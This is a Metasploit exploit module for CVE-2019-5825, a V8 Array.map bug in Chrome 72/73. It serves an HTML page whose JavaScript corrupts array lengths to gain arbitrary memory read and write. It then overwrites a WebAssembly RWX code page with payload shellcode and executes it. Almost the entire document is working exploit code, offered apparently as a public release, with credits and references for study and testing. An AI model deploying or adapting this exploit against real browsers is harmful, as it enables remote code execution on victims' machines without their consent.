Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Google Chrome 72 and 73 Array.map exploit',  
'Description' => %q{  
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).  
The exploit corrupts the length of a float in order to modify the backing store  
of a typed array. The typed array can then be used to read and write arbitrary  
memory. The exploit then uses WebAssembly in order to allocate a region of RWX  
memory, which is then replaced with the payload.  
The payload is executed within the sandboxed renderer process, so the browser  
must be run with the --no-sandbox option for the payload to work correctly.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'dmxcsnsbh', # discovery  
'István Kurucsai', # exploit  
'timwr', # metasploit module  
],  
'References' => [  
['CVE', '2019-5825'],  
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],  
['URL', 'https://github.com/exodusintel/Chromium-941743'],  
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],  
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],  
],  
'Arch' => [ ARCH_X64 ],  
'Platform' => ['windows','osx'],  
'DefaultTarget' => 0,  
'Targets' => [ [ 'Automatic', { } ] ],  
'DisclosureDate' => 'Mar 7 2019'))  
register_advanced_options([  
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),  
])  
end  
  
def on_request_uri(cli, request)  
  
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}  
print_status("[*] #{request.body}")  
send_response(cli, '')  
return  
end  
  
print_status("Sending #{request.uri} to #{request['User-Agent']}")  
escaped_payload = Rex::Text.to_unescape(payload.encoded)  
jscript = %Q^  
// HELPER FUNCTIONS  
let conversion_buffer = new ArrayBuffer(8);  
let float_view = new Float64Array(conversion_buffer);  
let int_view = new BigUint64Array(conversion_buffer);  
BigInt.prototype.hex = function() {  
return '0x' + this.toString(16);  
};  
BigInt.prototype.i2f = function() {  
int_view[0] = this;  
return float_view[0];  
}  
BigInt.prototype.smi2f = function() {  
int_view[0] = this << 32n;  
return float_view[0];  
}  
Number.prototype.f2i = function() {  
float_view[0] = this;  
return int_view[0];  
}  
Number.prototype.f2smi = function() {  
float_view[0] = this;  
return int_view[0] >> 32n;  
}  
Number.prototype.i2f = function() {  
return BigInt(this).i2f();  
}  
Number.prototype.smi2f = function() {  
return BigInt(this).smi2f();  
}  
  
// *******************  
// Exploit starts here  
// *******************  
// This call ensures that TurboFan won't inline array constructors.  
Array(2**30);  
  
// we are aiming for the following object layout  
// [output of Array.map][packed float array][typed array][Object]  
// First the length of the packed float array is corrupted via the original vulnerability,  
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.  
// The Object at the end is used to implement addrof  
  
// offset of the length field of the float array from the map output  
const float_array_len_offset = 23;  
// offset of the length field of the typed array  
const tarray_elements_len_offset = 24;  
// offset of the address pointer of the typed array  
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;  
const obj_prop_b_offset = 33;  
  
// Set up a fast holey smi array, and generate optimized code.  
let a = [1, 2, ,,, 3];  
let cnt = 0;  
var tarray;  
var float_array;  
var obj;  
  
function mapping(a) {  
function cb(elem, idx) {  
if (idx == 0) {  
float_array = [0.1, 0.2];  
  
tarray = new BigUint64Array(2);  
tarray[0] = 0x41414141n;  
tarray[1] = 0x42424242n;  
obj = {'a': 0x31323334, 'b': 1};  
obj['b'] = obj;  
}  
  
if (idx > float_array_len_offset) {  
// minimize the corruption for stability  
throw "stop";  
}  
return idx;  
}  
return a.map(cb);  
}  
  
function get_rw() {  
for (let i = 0; i < 10 ** 5; i++) {  
mapping(a);  
}  
  
// Now lengthen the array, but ensure that it points to a non-dictionary  
// backing store.  
a.length = (32 * 1024 * 1024)-1;  
a.fill(1, float_array_len_offset, float_array_len_offset+1);  
a.fill(1, float_array_len_offset+2);  
  
a.push(2);  
a.length += 500;  
  
// Now, the non-inlined array constructor should produce an array with  
// dictionary elements: causing a crash.  
cnt = 1;  
try {  
mapping(a);  
} catch(e) {  
// relative RW from the float array from this point on  
let sane = sanity_check()  
print('sanity_check == ', sane);  
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));  
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));  
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));  
  
let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;  
print('original elements addr: ' + original_elements_ptr.toString(16));  
print('original elements value: ' + read8(original_elements_ptr).toString(16));  
print('addrof(Object): ' + addrof(Object).toString(16));  
}  
}  
  
function sanity_check() {  
success = true;  
success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;  
success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;  
success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;  
return success;  
}  
  
function read8(addr) {  
let original = float_array[tarray_elements_len_offset+1];  
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();  
let result = tarray[0];  
float_array[tarray_elements_len_offset+1] = original;  
return result;  
}  
  
function write8(addr, val) {  
let original = float_array[tarray_elements_len_offset+1];  
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();  
tarray[0] = val;  
float_array[tarray_elements_len_offset+1] = original;  
}  
  
function addrof(o) {  
obj['b'] = o;  
return float_array[obj_prop_b_offset].f2i();  
}  
  
var wfunc = null;  
var shellcode = unescape("#{escaped_payload}");  
  
function get_wasm_func() {  
var importObject = {  
imports: { imported_func: arg => print(arg) }  
};  
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];  
wasm_code = new Uint8Array(bc);  
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);  
return wasm_mod.exports.exported_func;  
}  
  
function rce() {  
let wasm_func = get_wasm_func();  
wfunc = wasm_func;  
// traverse the JSFunction object chain to find the RWX WebAssembly code page  
let wasm_func_addr = addrof(wasm_func) - 1n;  
print('wasm: ' + wasm_func_addr);  
if (wasm_func_addr == 2) {  
print('Failed, retrying...');  
location.reload();  
return;  
}  
  
let sfi = read8(wasm_func_addr + 12n*2n) - 1n;  
print('sfi: ' + sfi.toString(16));  
let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;  
print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));  
  
let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;  
print('instance: ' + instance.toString(16));  
  
//let rwx_addr = read8(instance + 0x108n);  
let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86  
//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100  
//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84  
print('rwx: ' + rwx_addr.toString(16));  
  
// write the shellcode to the RWX page  
if (shellcode.length % 2 != 0) {  
shellcode += "\u9090";  
}  
  
for (let i = 0; i < shellcode.length; i += 2) {  
write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));  
}  
  
// invoke the shellcode  
wfunc();  
}  
  
  
function exploit() {  
print("Exploiting...");  
get_rw();  
rce();  
}  
  
exploit();  
^  
  
if datastore['DEBUG_EXPLOIT']  
debugjs = %Q^  
print = function(arg) {  
var request = new XMLHttpRequest();  
request.open("POST", "/print", false);  
request.send("" + arg);  
};  
^  
jscript = "#{debugjs}#{jscript}"  
else  
jscript.gsub!(/\/\/.*$/, '') # strip comments  
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);  
end  
  
html = %Q^  
<html>  
<head>  
<script>  
#{jscript}  
</script>  
</head>  
<body>  
</body>  
</html>  
^  
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})  
end  
  
end